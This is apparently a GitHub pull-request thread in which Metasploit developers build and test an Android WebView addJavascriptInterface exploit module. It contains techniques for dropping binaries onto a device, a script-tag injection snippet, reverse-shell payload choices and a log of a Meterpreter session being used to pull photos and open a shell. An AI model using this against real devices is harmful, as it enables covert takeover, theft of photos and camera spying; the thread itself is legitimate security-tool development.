Closed jvennix-r7 closed 10 years ago
Uh oh, I broke some specs. Closing temporarily.
Nice one dude - No need for the armeabi-v7a binary though
@timwr Ah right, armeabi bins work without a problem on armeabi-v7a. I will remove it then. Also notice that the exploit doesn't actually do arch detection/lib swapping, it just serves the armeabi payload for now. I'll make a PR later that checks the user-agent and serves the right thing, just trying to get all the bins in at the moment.
@jvennix-r7 this change (and http(s)) works great on glass however there was a bug (my fault) if you modified the payload and re-exploited the same app with the webview exploit (the dalvik cache for stage.apk is invalid). I've sent you a pull request with the fix here: https://github.com/jvennix-r7/metasploit-framework/pull/10/commits and pushed the java changes here: https://github.com/rapid7/metasploit-javapayload/pull/9
I don't suppose you could merge update the binaries please? Alternatively land this with a minor bug and fix in separate pr?
@timwr thanks for reporting, I will update the bins here tomorrow and do some additional testing
Closing this temporarily while I test further.
Rebuilt and re-verified, this is ready to go now
works for me, thanks @jvennix-r7!
This is failing for @egypt and I on android 4.0
. I tested working well on 3.0
and 4.1.2
. On my emulator instance it seems to drop the file, so I am thinking this is a problem with the stager. I will take a closer look at this tomorrow.
Are you sure the original module worked on the Android 4.0 emulator browser? I couldn't get it to work last night (thread StrictMode?).
@timwr Why is it only 4.0
then? I thought StrictMode was a dev tool for popping an alert on a security violation?
And it's very possible that the original implementation fails on 4.0
, iirc I tested 3.0
, 3.2
, 4.0.2
, and 4.1.2
.
I'm still confused though.. is strictmode enabled in 4.0's browser and none of the other versions? wut
And now I can't reproduce that stack trace. I see this now:
I have removed support for Android 4.0, and added code for arch detection. I also found that the x86 ndkstager did not work, at least on the 4.1.2 x86 emulated device I tested with. I have submitted two bugs for tracking these defects:
RM-8787: webview_addjavascriptinterface does not support Android 4.0 RM-8788: x86 ndkstager does not work in android 4.1.2
I am going to do one more round of testing on 3.2, 4.0, 4.0.3, and 4.1.2 (mips/arm) and then this should be ready for review once more.
Verification:
- [x] Gains a meterpreter session from Android 3.2
- [x] Does NOT gain a meterpreter session, and does not crash the browser in Android 4.0. You should receive a message in msfconsole about why the exploit was aborted.
- [x] Does NOT gain a meterpreter session, and does not crash the browser in Android 4.0.3. You should receive a message in msfconsole about why the exploit was aborted.
- [x] Gains a meterpreter session in Android 4.1.2
- [x] Gains a meterpreter session in Android 4.1.2mips
- [x] Gains a session on any supported Android by visiting a separate HTML page with a SCRIPT tag that points to the .js route served by the module
See the bottom comment for final verification steps/landing procedure.
Closing this temporarily until all steps verified.
Okay, so after more testing, it turns out that 4.0-4.0.4 do not support the echo -en
syntax. This makes me sad. I had another thought, I believe I can make this work by serving the ndkstager as a download. This has the drawback of showing a small "Downloading..." prompt (which fades out without user interaction), but I think if we immediately delete the stagers after dropping them we should be fine, since it should take less than a couple seconds.
Okay, did some more testing. Logger only accepts cstrings and dies on null bytes. I also played with Parcel, to see if I could serialize a FileWriter instance and pull it back out, but it seems very platform-version dependent. :( So I think the solution I will end up with will be:
echo
to a file, read it back.echo
./data/data
directory.This is a bit dirty but should do the trick on most 4.0.x devices. It would be nicer if I just had to drop one file (I noticed gzip on the device), but this can be added later.
Arghh. After typing that up I realized that embedded webviews probably (hopefully) prevent drive-by downloads like this. More testing to come, but this might not work.
Late answer to @timwr's question: if getDeclaredConstructors
does not work, use getConstructor
instead (will only work with public constructors). If you have trouble creating a Class[]
for the parameter types, use one of these:
Class.forName("java.lang.Number").getInterfaces()
Class.forName("java.io.File").getInterfaces()
Class.forName("java.util.Hashtable").getInterfaces()
Will create new Class[] of length 1, 2 and 3, respectively, across all Java versions (not sure about Android, but probably they are compatible enough in the base classes). Then you can use
java.lang.reflect.Array.set()
to fill them with the classes you need.
To obtain Object[]
for the parameters themselves, build up an ArrayList and call its toArray()
method. For a String[]
, use String.split
.
In case you need larger Class arrays or some exotic but serializable objects, use this technique to create an ObjectInputStream that reads from a ByteArrayInputStream that wraps a base64 decoded array. Then you can readObject() until you have what you need.
I've used this technique with various scripting languages (for desktop Java, not mobile), and it always worked. No guarantee that it works for Android, but may be worth a try :)
@schierlm thanks for the tips, this sounds promising. I don't think we can use java.lang.reflect.Array.set()
here, though, because I need a Class[] to pull the set method so I can invoke
it: obj.getClass().forName("java.lang.reflect.Array").getMethod('set', ...)
.
@jvennix-r7 great stuff! can you post some of your workings please? If the constructors for arbitrary classes (DexFile/DexClassLoader?) are working we can skip the ndk stager altogether and load the apk directly! Also if you can grab the context somehow then Context.openFileOutput might help.
@timwr I couldn't get 4.0 working through reflection. I tried using Logger
and System.console
(they terminate on null byte), and I tried running cat > file.bin
and pumping the binaries into stdin
(turns out this has to be done from a separate thread). I implemented some of the serve-download solution last night, but tbh I think it is more trouble than it's worth, and turns the simple exploit into an asynchronous disk-polling nightmare, and plus won't work in an embedded webview. So I think I will just add the echo hex check (instead of the useragent version checking I am doing now), and hopefully one day someone figures out how to drop to disk through reflection.
If you have time to play around with the reflection, android.os.FileUtils.stringToFile(String filename, String string)
seems rather useful, if I could just look it up correctly.
Back on this now.
Okay, this is ready for re-re-review
works for me, excellent work @jvennix-r7
Played a bit with a new Android 4.1.2 emulator image (with vulnerable browser), and it seems that arrays are really a blocker for reflection via addJavascriptInterface objects - as soon as a method returns an array, it becomes undefined in Java. So sorry, probably really not possible to use reflection here. Therefore, calling binaries on the device is probably really the easier route (if echo does not work, maybe printf, or there is some callable shell that has an echo or printf builtin that can be used? I assume that you already checked that there are no scripting languages like lua or perl available on the affected phones...)
Anyway, impressive work so far!
Okay, using echo with octal + leading 0 + double quotes + -e flag seems to be consistent across all affected versions.
Nice one with the byte encoding, it works on 4.0 now. @jvennix-r7 I'm slightly disappointed you removed the rap in the comments though! @schierlm you're right about the arrays, which explains why calling arbitrary constructors doesn't (or won't ever?) work. In theory there might be other things that could be done with static functions but the octal encoding is much less crufty. Also this is fixed in Google Glass XE16.
I was able to complete all of the verification steps from above, plus "webcam_snap" for each one.
All worked perfectly against my target device:
Android 4.0.3 Maxthon Browser v4.2.3.2000 (latest as of today)(stock browser doesn't have camera perms)
This device has an SD card slot, but it was not populated at the time of the testing.
One small note, when I run "webcam_list" it shows two cameras, but when I webcam_snap, both indexes take a picture with the rear facing camera. This is not a reason to hold the PR imho, and I'm happy to test anything else requested.
Thanks for testing @ZeroChaos. Any chance you could let us know which device the webcam_list bug occurs on?
In this case it's an HTC Rezound running some ROM called Ecliptic. Quite literally this is my wife's old phone that we were using as a baby rattle before this testing.
I did confirm that both the "main" and the "front" camera are functional. In this ROM the "main" camera is the rear camera that webcam_snap uses, and the "front" camera is the user facing camera which webcam_snap cannot seem to address.
This is working great on 4.0, 4.1.2, 4.3 and even 4.4.2! @jvennix-r7 I've sent you a pr with a minor string replacement fix here https://github.com/jvennix-r7/metasploit-framework/pull/11.
If you guys don't have any objections (@egyp7, @todb-r7 ?) I can help land this and the corresponding javapayload changes.
@jvennix-r7 I'm unable to reproduce the x86 issue on 4.1.2 so I've re-enabled it in https://github.com/jvennix-r7/metasploit-framework/pull/11. For more information: https://dev.metasploit.com/redmine/issues/8788
All looks good to me. Thanks for the final review @timwr!
pull request deadlock :-p
Sorry what's the problem? Merge conflicts or something?
Lot's of dependencies. Presumably the framework changes have to land before the javapayload changes but it would be rude to land my own pull requests. I can land the https changes if that helps at all.
Ah gotcha. That's not super clear from this pull request history.
What would be useful is a checkbox list of depebdencies / verification steps that calls out the other repo pull request specifically. That way the crosslinking happens in the GitHub UI and everyone knows what needs to happen in what order.
Some of @OJ's PRs between framework and meterpreter used this pattern and it made it easy for dummies like me to follow along and actually land things. I can land anything with halfway decent verification steps.
@todb gotcha, I will unify the verification steps here shortly (some of them are for verifying bugs that disappeared over the lifetime of this PR)
[ ] Gains a session on any supported Android by visiting a separate HTML page with a SCRIPT tag that points to the .js route served by the module:
<html>
<script type='text/javascript' src='http://192.168.1.1:8080/xmn4321mn4/script.js'></script>
</html>
There is more functionality than what is listed (namely webcam_snap
), but a couple of contributors have verified most of it (thanks @timwr and @ZeroChaos!), so I am comfortable with just the above steps. If anyone thinks I am missing anything please let me know.
https://github.com/rapid7/metasploit-javapayload/pull/9 is the big one. Apologies for combining lots of things into one huge pull request, it won't happen again! I'm happy to split it up.
Given the continued commenting on rapid7/metasploit-javapayload#9 up until May 25, it's a little unclear if this PR, #3086, is actually ready. I will go through to motions and test anyway though, and assume it'll all work out if the functionality is repeatable. Expect that Jun 1 at the very latest.
Part of my issue labelling spree was to make it easy to target things like this, btw.
@todb-r7, I think you mean Mar 25. The pull request could definitely use more eyeballs. I'll put some comments on it (and a reasonable title/description!) so people know what it contains.
P.s webcam_list won't work in the default browser. You need a browser with camera permissions. E.g maxathon. Last time I checked maxathon from the play store made 4.4.2 vulnerable
Ok, good to know. Thanks @timwr!
s/maxathon/maxthon On May 31, 2014 11:06 AM, "Tod Beardsley" notifications@github.com wrote:
Ok, good to know. Thanks @timwr!
— Reply to this email directly or view it on GitHub https://github.com/rapid7/metasploit-framework/pull/3086#issuecomment-44750564 .
Okay, testing this on my trusty vulnerable AT&T ZTE Z992 phone, Android version 4.1.1.
First off, meterpreter is available now as a PAYLOAD:
msf exploit(webview_addjavascriptinterface) > set PAYLOAD <tab>
set PAYLOAD android/meterpreter/reverse_http set PAYLOAD android/shell/reverse_http set PAYLOAD generic/custom
set PAYLOAD android/meterpreter/reverse_https set PAYLOAD android/shell/reverse_https set PAYLOAD generic/shell_bind_tcp
set PAYLOAD android/meterpreter/reverse_tcp set PAYLOAD android/shell/reverse_tcp set PAYLOAD generic/shell_reverse_tcp
msf exploit(webview_addjavascriptinterface) > set PAYLOAD android/meterpreter/reverse_tcp
A session is got:
[*] Started reverse handler on 192.168.43.169:4444
[*] Using URL: http://192.168.43.169:8080/x
[*] Server started.
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - No cookie received, resorting to headers hash.
[*] 192.168.43.70 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.43.70 webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Info receiver page called.
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Received cookie 'FpOfhBGgUSoRYKUWVEs'.
[!] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Received sniffed browser data over POST:
{"os_name"=>["Linux"], "os_flavor"=>["Android"], "ua_name"=>["Chrome"], "ua_ver"=>["undefined"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"]}.
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Received cookie 'FpOfhBGgUSoRYKUWVEs'.
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Serving exploit to user with tag FpOfhBGgUSoRYKUWVEs
[*] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Setting target "FpOfhBGgUSoRYKUWVEs" to :tried.
[!] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Comparing requirement: source=script vs k=script
[!] 192.168.43.70 webview_addjavascriptinterface - 192.168.43.70 webview_addjavascriptinterface - Comparing requirement: os_flavor=Android vs k=Android
[*] 192.168.43.70 webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (40248 bytes) to 192.168.43.70
[*] Meterpreter session 1 opened (192.168.43.169:4444 -> 192.168.43.70:54042) at 2014-06-02 16:56:27 -0500
And the session is active.
meterpreter > getwd
/data/data/com.android.browser/files/.
Right there is kinda huge.
Let's see what commands work. Note, I haven't done anything with rapid7/metasploit-javapayload#9 yet, I just want to see this android stuff land right now because it's been far too long.
Tl;dr verification so far:
Spot checking some commands:
background
- should background a sessionirb
- should spawn irb with client
populated appropriately, as such:meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
cannot load such file -- irbtools
>> client.inspect
=> "#<Session:meterpreter 192.168.43.70:54042 (192.168.43.70) \" @ localhost\">"
>> exit
pwd
returns the working directorycd
changes directory, eg, cd /sdcard/DCIM/Camera
download
downloads a file to the local working directory, eg download IMG_20140425_220000_089.jpg
upload
uploads a file to the remote working directory, eg upload watchdoge.jpg
mkdir
and rmdir
behave as expected.search -f *.jpg /sdcard
finds all jpgs on the sdcard.ps
returns an accurate process list.ifconfig
returns an accurate interface list.sysinfo
correctly identifies the host as Linux, using a java Meterpreter, like so:meterpreter > sysinfo
Computer : localhost
OS : Linux 3.4.0-perf (armv7l)
Meterpreter : java/java
getuid
returns the remote usernameshell
drops to an interactive shell.All this appears to work except getuid:
meterpreter > getuid
Server username:
However, this is not a show stopper.
The next tests will spotcheck the http and https versions.
@timwr landed my
metasploit-javapayload
PR to update the dalvikstager build process, so this is ready to land. This PR encompasses the followingmetasploit-framework
PRs, which might need to be closed upon landing this (I'm not sure if github will otherwise detect they are fully merged):See the bottom comment for final verification steps/landing procedure.